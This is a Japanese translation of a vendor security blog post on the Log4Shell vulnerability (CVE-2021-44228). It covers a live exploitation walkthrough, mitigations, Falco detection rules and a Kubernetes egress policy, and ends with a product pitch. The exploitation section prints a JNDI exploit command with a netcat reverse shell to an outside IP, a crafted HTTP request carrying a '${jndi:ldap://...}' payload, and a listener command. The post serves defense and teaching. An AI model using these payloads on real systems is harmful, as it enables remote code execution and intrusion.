本文の内容は、2021年12月15日にStefano Chiericiが投稿したブログ(https://sysdig.com/blog/exploit-detect-mitigate-log4j-cve/)を元に日本語に翻訳・再構成した内容となっております。
オープンソースで広く利用されている、Javaアプリケーション内でログを生成するためのユーティリティであるlog4jに、新たに致命的な脆弱性が発見されました。この脆弱性CVE-2021-44228は、Log4Shellとしても知られており、攻撃者がホスト上で任意のコードを実行できるリモートコード実行(RCE)を許してしまいます。
log4j ユーティリティは、有名なゲーム「Minecraft」をはじめ、膨大な数のアプリケーションや企業で利用されています。また、Struts2、Kafka、Druid、Flinkなどの様々なApacheフレームワークや、多くの商用製品でも使用されています。
CVE-2021-44228 は log4j のバージョンに影響します。2.0-beta9から2.14.1まで。この問題に対処し、脆弱性を修正したバージョン 2.15.0 がリリースされていますが、この新バージョンにはサービス拒否の脆弱性があります。本記事公開時点では、2.16.0へのアップデートを強く推奨します。
この記事では、影響を受けるユーティリティーが人気を博している理由、脆弱性の性質、およびその悪用をどのようにして検出し、軽減するかについて理解していただきます。
予備知識
Log4jは、Javaで書かれた、信頼性が高く、高速で、柔軟性があり、人気のあるロギングフレームワーク(API)です。Apache Software Licenseの下で配布されています。Log4jは、C、C++、C#、Perl、Python、Rubyなどの他のプログラミング言語にも移植されています。log4jライブラリーは、影響度の高いCVE-2021-44228に最初に襲われました。脆弱性を修正したバージョン2.15.0がリリースされた後、新たにCVE-2021-45046がリリースされました。
新しい脆弱性CVE-2021-45046は、新バージョンにヒットし、前回のパッチの欠点によりサービス拒否(DoS)攻撃を許してしまいます。この新しい脆弱性CVE-2021-45046の潜在的な影響は比較的低いため、深刻度は低いと評価されています。最新のリリース2.16.0では、不足していたデフォルト以外の設定を追加することで、この新しいCVEを修正しました。
CVE-2021-44228の問題
Java Naming and Directory Interface (JNDI) は Java アプリケーションに API を提供しており、 リモートオブジェクトのバインド、オブジェクトの検索や問い合わせ、 同じオブジェクトの変更の検出などに利用できます。JNDIは多くのネーミングサービスやディレクトリサービスをサポートしており、この脆弱性は様々な方法で悪用される可能性がありますが、ここではLDAPに注目します。
JNDIをLDAPと併用することで、
ldap://localhost:3xx/o
というURLは、ローカル・マシン上で稼働しているLDAPサーバーや、攻撃者が制御するリモート・サーバーから、リモート・オブジェクトを取得することができます。実装された状態では、デフォルトのキーには
java:comp/env/
というプレフィックスがつきます。ただし、キーに「:」が含まれている場合は、プレフィックスは付加されません。今回のケースでは, ldap://localhost:3xx/o
の前に報告されているLDAP文字列を渡した場合,プレフィックスは追加されず,LDAPサーバに問い合わせてオブジェクトを取得することになります.つまり、攻撃者ができることは、直接ログを取得する入力を見つけて、
${jndi:ldap://attackerserver.com.com/x}
のように入力を評価することです。これにより、攻撃者は、自分がコントロールしているリモートのLDAPサーバーからオブジェクトを取得し、コードを実行することができます。エントリーポイントは、通常ログに記録される User-Agent のような HTTP ヘッダー、 あるいは username/request object のようなフォームパラメーターかもしれませんが、 同じようにログに記録される可能性があります。
CVE-2021-44228の影響
この脆弱性の影響は、このLog4jライブラリーが広く採用されているため、非常に大きなものとなっています。あなたの環境にいくつかのJavaアプリケーションがあれば、それらはほとんどの場合、内部イベントをログに記録するためにLog4jを使用しています。また、この脆弱性はかなり柔軟で、ローカルやリモートのLDAPサーバーやその他のプロトコルから任意のコードを取得して実行することができます。
これらの要因と、多くのシステムへの影響の大きさから、この脆弱性の深刻度は、CVSS3 10.0のCRITICALとなっています。この脆弱性が活発に利用されているという事実は、影響を受ける組織のリスクをさらに高めます。
CVE-2021-44228の悪用手順
この脆弱性を利用すると、リモートまたはローカルのマシンからオブジェクトを取得し、脆弱なアプリケーション上で任意のコードを実行することができます。悪用を開始する前に、攻撃者は、ダウンロードして実行したいコードを含むオブジェクトファイルがあるLDAPサーバーをコントロールする必要があります。Javaアプリケーションに対するこのような攻撃は広く検討されているので、GithubプロジェクトのJNDI-Injection-Exploitを使用してLDAPサーバーを立ち上げます。
ここでは、攻撃者が管理するEC2インスタンスで実行します。netcat(nc)コマンドを使用して、脆弱性のあるアプリケーションとのリバースシェル接続を開くことができます。
以下は、コマンドラインの例です:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc 54.243.12.192 8083 -e /bin/sh" -A "54.243.12.192"
LDAPサーバーは、指定されたURLをホストして使用し、リバースシェルコマンドで悪意のあるコードを取得します。
実際のシナリオのために導入したWebアプリケーションは、脆弱なlog4jのバージョンを使用しており、User-Agent、Cookies、X-Api-Serverの内容を記録しています。
使用したWebアプリケーションは、こちらからダウンロードできます。
脆弱性のあるWebサーバーは、ポート8080でdockerコンテナを使用して実行されています。Burp Suiteを利用することで、LDAPサーバーにホストされているURLを介してリクエストペイロードを作成することができます。cookie attributeをインジェクトし、脆弱なマシンでリバースシェルを開くことができるかどうか試してみましょう。
GET / HTTP/1.1 Host: :8080 sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99" sec-ch-ua-mobile: ?0 Upgrade-Insecure-Requests: 1 X-Api-Version: aaa User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: test='${jndi:ldap://54.243.12.192:1389/0z6aep}' Connection: close
上記は、私たちが送信しているHTTPリクエストをBurp Suiteで修正したものです。Cookieパラメータにlog4jの攻撃文字列が追加されています。
加工したリクエストを送信する前に、netcat(nc)コマンドを使用してリバースシェル接続を設定し、ポート8083をリッスンする必要があります。
nc -lvp 8083
これで細工したリクエストを送信することができ、LDAPサーバーがアプリケーションからの呼び出しを受信し、JettyServerがリバースシェル用のncコマンドを含むリモートクラスを提供したことがわかります。
攻撃者が被害者の接続を待つ
攻撃側のマシンでは、脆弱なアプリケーションとの接続を正常に開いたことが確認できます。
リモートシェルを持つ攻撃者のマシン
これで、マシンと対話して任意のコードを実行できるようになりました。
攻撃者は、同じプロセスを他のHTTP属性で使用して脆弱性を悪用し、攻撃側のマシンでリバースシェルを開くことができます。この悪用を自動化し、log4jが動作しているすべての公開アプリケーションに悪用を送ることがどれほど簡単か想像してみてください。
CVE-2021-44228の緩和策
このCVEの影響を受けている場合、直ちにアプリケーションを最新バージョン、少なくとも2.16.0バージョンにアップデートしてください。もし、あなたの環境で不可能な場合は、3つのオプションを評価することができます。- Log4j v2.10以上を使用している場合、以下のプロパティを設定することができます:
log4j2.formatMsgNoLookups=true
- 環境変数は、これらの同じ影響を受けるバージョンのために設定することができます。LOG4J_FORMAT_MSG_NO_LOOKUPS=true
- バージョンが古いならば、ファイルシステム上のlog4jコアからJndiLookupクラスを削除してください。
この脆弱性は、アプリケーションのライフサイクルの3つの異なるフェーズで検出することができます。
- ビルド時にイメージスキャナーで検出する。
- デプロイメント時におけるアドミッション・コントローラー上のイメージ・スキャナを使用する。
- ランタイム検出エンジンを使用して、実行および応答フェーズにおいて、すでにデプロイされたホストやポッドの悪意のある動作を検出する。
1. ビルド時:イメージスキャナー
SCA(Software Composition Analysis)ツールの一つであるイメージスキャナーを使用すると、コンテナイメージの内容やビルドプロセスを分析して、セキュリティ上の問題点や脆弱性、バッドプラクティスを検出することができます。レポート結果では、すでに環境にデプロイされているイメージに特定のCVEが検出されているかどうかを検索することができます。
このケースでは、CVE-2021-44228が、脆弱性のあるバージョン2.12.1を使用している1つの特定のイメージに影響を与えていることがわかります。
Sysdigスキャン log4j CVE
2. デプロイ:アドミッション・コントローラー上のイメージ・スキャナー
アドミッション・コントローラーにイメージ・スキャンを実装することで、スキャン・ポリシーに準拠したワークロード・イメージのみをクラスター内で実行することを許可することができます。アドミッション・コントローラー上のイメージ・スキャナー
このコンポーネントは、名前、タグ、ネームスペース、CVEの深刻度レベルなど、さまざまな基準でイメージを拒否することができます。
この特定のCVEに対するポリシーを作成して割り当てることで、アドミッション・コントローラーは新しいデプロイメントイメージを評価し、このセキュリティ問題が検出された場合はデプロイメントをブロックします。
3. 実行と応答 :イベント検出
Falcoのようなランタイム検出エンジンツールを使用すると、コンテナがすでに実稼働しているときにランタイムで発生する攻撃を検出することができます。攻撃者がこの特定の脆弱性を悪用し、ポッド上でリバースシェルを開こうとしているとします。この場合、導入されているFalcoのランタイムポリシーが悪意のある動作を検知し、セキュリティアラートを発生させます。また、リバースシェルに関する以前のブログ記事もご覧ください。
ここでは、リバースシェルルールの例を示します。誤検知を避けるために、環境に合わせて条件に例外を追加することができます。
- rule: Reverse shell desc: Detect reverse shell established remote connection condition: evt.type=dup and container and fd.num in (0, 1, 2) and fd.type in ("ipv4", "ipv6") output: > Reverse shell connection (user=%user.name %container.info process=%proc.name parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip) priority: WARNING tags: [container, shell, mitre_execution] append: false
Falcoを使用することに加えて、ポッドやホスト上のエクスプロイト後の段階でさらなるアクションを検出することができます。Falcoのアウトオブボックスのルールセットでカバーされるユースケースはすでに充実していますが、ここでは、攻撃者がネットワークツールを使用したり、新しいシェルを生成しようとした場合にトリガーされる可能性のあるものを示します。
- rule: Run shell untrusted desc: an attempt to spawn a shell below a non-shell application. Specific applications are monitored. condition: > spawned_process and shell_procs and proc.pname exists and protected_shell_spawner and not proc.pname in (shell_binaries, gitlab_binaries, cron_binaries, user_known_shell_spawn_binaries, needrestart_binaries, mesos_shell_binaries, erl_child_setup, exechealthz, PM2, PassengerWatchd, c_rehash, svlogd, logrotate, hhvm, serf, lb-controller, nvidia-installe, runsv, statsite, erlexec, calico-node, "puma reactor") and not proc.cmdline in (known_shell_spawn_cmdlines) and not proc.aname in (unicorn_launche) and not consul_running_net_scripts and not consul_running_alert_checks and not nginx_starting_nginx and not nginx_running_aws_s3_cp and not run_by_package_mgmt_binaries and not serf_script and not check_process_status and not run_by_foreman and not python_mesos_marathon_scripting and not splunk_running_forwarder and not postgres_running_wal_e and not redis_running_prepost_scripts and not rabbitmq_running_scripts and not rabbitmqctl_running_scripts and not run_by_appdynamics and not user_shell_container_exclusions output: > Shell spawned by untrusted binary (user=%user.name user_loginuid=%user.loginuid shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline pcmdline=%proc.pcmdline gparent=%proc.aname[2] ggparent=%proc.aname[3] aname[4]=%proc.aname[4] aname[5]=%proc.aname[5] aname[6]=%proc.aname[6] aname[7]=%proc.aname[7] container_id=%container.id image=%container.image.repository) priority: DEBUG tags: [shell, mitre_execution]
- rule: Launch Suspicious Network Tool in Container desc: Detect network tools launched inside container condition: > spawned_process and container and network_tool_procs and not user_known_network_tool_activities output: > Network tool launched in container (user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline parent_process=%proc.pname container_id=%container.id container_name=%container.name image=%container.image.repository:%container.image.tag) priority: NOTICE tags: [network, process, mitre_discovery, mitre_exfiltration] - rule: Launch Remote File Copy Tools in Container desc: Detect remote file copy tools launched in container condition: > spawned_process and container and remote_file_copy_procs and not user_known_remote_file_copy_activities output: > Remote file copy tool launched in container (user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline parent_process=%proc.pname container_id=%container.id container_name=%container.name image=%container.image.repository:%container.image.tag) priority: NOTICE tags: [network, process, mitre_lateral_movement, mitre_exfiltration]
4. ネットワークアクセスの制限
搾取のセクションで見たように、攻撃者はリモートのLDAPサーバーから悪意のあるペイロードをダウンロードする必要があります。ネットワークの観点から、K8sのネットワーク・ポリシーを使用して、egressトラフィックを制限し、外部のLDAPサーバーへの接続をブロックすることができます。
以下は、特定のネームスペースに対するすべてのegressトラフィックをブロックするためのネットワーク・ポリシーです。
apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: default-deny-egress namespace: log4j spec: podSelector: {} policyTypes: - Egress
Sysdig Secureを使えば、前回の記事で紹介したように、プロファイリング機能を使って、脆弱性のあるポッドに特化したK8sのネットワーク・ポリシーを自動的に生成することができる。
まとめ
CVE-2021-44228はCRITICALな脆弱性であり、log4jライブラリに見つかったバグを利用して、悪意のあるユーザがマシンやポッド上で任意のコードを実行することができます。攻撃を防ぐためにCI/CDパイプラインのようにコンテナのライフサイクルやアドミッションコントローラーの複数の場所でイメージスキャナーを使用し、ランタイムセキュリティツールを使用してリバースシェルを検出することをお勧めします。
これらの戦略を併用することで、セキュリティチームはこの脆弱性を狙った攻撃に対応し、ブロックし、影響を受けた実行中のコンテナを事前にレポートすることができます。
Sysdig Secureでは、他のオープンソース・プロジェクトとともに、アウトオブボックスのルールでFalcoを拡張し、Kubernetesのセキュリティとの連携と管理をさらに容易にしています。30日間の無料トライアルに登録して、ご自身の目で確かめてください!